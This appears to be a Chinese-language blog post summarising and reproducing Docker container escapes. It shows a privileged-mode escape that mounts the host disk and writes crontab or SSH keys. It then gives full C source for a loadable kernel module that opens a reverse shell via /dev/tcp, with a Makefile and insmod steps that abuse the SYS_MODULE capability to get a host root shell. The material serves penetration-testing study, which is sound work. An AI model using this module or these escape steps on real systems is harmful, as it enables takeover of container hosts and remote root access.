Docker逃逸思路总结&&复现

特权模式启动容器

docker run的时候以特权模式启动,也就是添加--privileged=true,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

具体在复现的时候可以在云服务器上进行,vmware的磁盘挂载有点问题,能够得到权限但是提示类型不对挂载不了

mount: /test: unknown filesystem type 'LVM2_member'.

docker run -itd --name="test" --privileged=true c29d6dea3e62
docker exec -it test bash

fdisk -l
mount /dev/vda1 /mnt
ls -la /mnt

此时可以写入crontab或者写入ssh key等可以拿下主机的shell

Capability权限

关于Capability权限: 有时,打包在 Docker镜像中的应用程序/工具可能需要执行特权操作才能运行。例如,它可能需要将内核模块插入到 Docker 主机的内核中。在这种情况下,Docker 允许用户向容器添加额外的 Linux 功能(例如:SYS_MODULE权限)

可以使用如下命令查看docker的Cap权限

cat /proc/1/status | grep Cap
capsh --decode=00000000a80425fb
# or capsh --print

例如使用--privileged=true来启动容器就可以获得所有cap权限

SYS_MODULE

如果Docker有cap_sys_module权限,那么可以像linux kernel里面插入用户定义的恶意代码。(Docker容器共享linux kernel)

复现一下,首先查看docker中的kernel版本以及ip地址:

ip addr is used for reverse shell

[root@ddf4b2caad13 /]# uname -r
3.10.0-1160.45.1.el7.x86_64
[root@ddf4b2caad13 /]# ifconfig
172.17.0.2

然后使用对应kernel的make版本编译如下内核模块

write reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};

static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

static int __init reverse_shell_init(void) {
   return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
   printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

write Makefile

比如说我linux kernel版本是3.10.0-1160.45.1.el7.x86_64,那就得使用/usr/src/kernels/3.10.0-1160.45.1.el7.x86_64/

obj-m += reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make

编译出来时下面这几个文件,其中reverse-shell.ko是我们想要的:

这时候想办法传到docker容器里面

getshell

dockers容器里面开启一个监听

另起一个shell,执行

insmod reverse-shell.ko

这时候就可以收到一个宿主机的root shell了

注意

  • 提示insmod error: inserting './xxxx.ko': -1 Invalid module format一定是没有用对应kernel版本的make来编译
    • 比如说我linux kernel版本是3.10.0-1160.45.1.el7.x86_64,那就得使用/usr/src/kernels/3.10.0-1160.45.1.el7.x86_64/
  • 提示insmod: ERROR: could not insert module reverse-shell.ko: File exists是因为之前装过同名的mod了,可以使用rmmod reverse-shell.ko来卸载掉

REF

https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

未完待续…..

上班ing 慢慢更..

Reference

从DirtyPipe到Docker逃逸

容器环境红队手法总结

Dirty Pipe Linux Vulnerability: Overwriting Files in Container Images

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇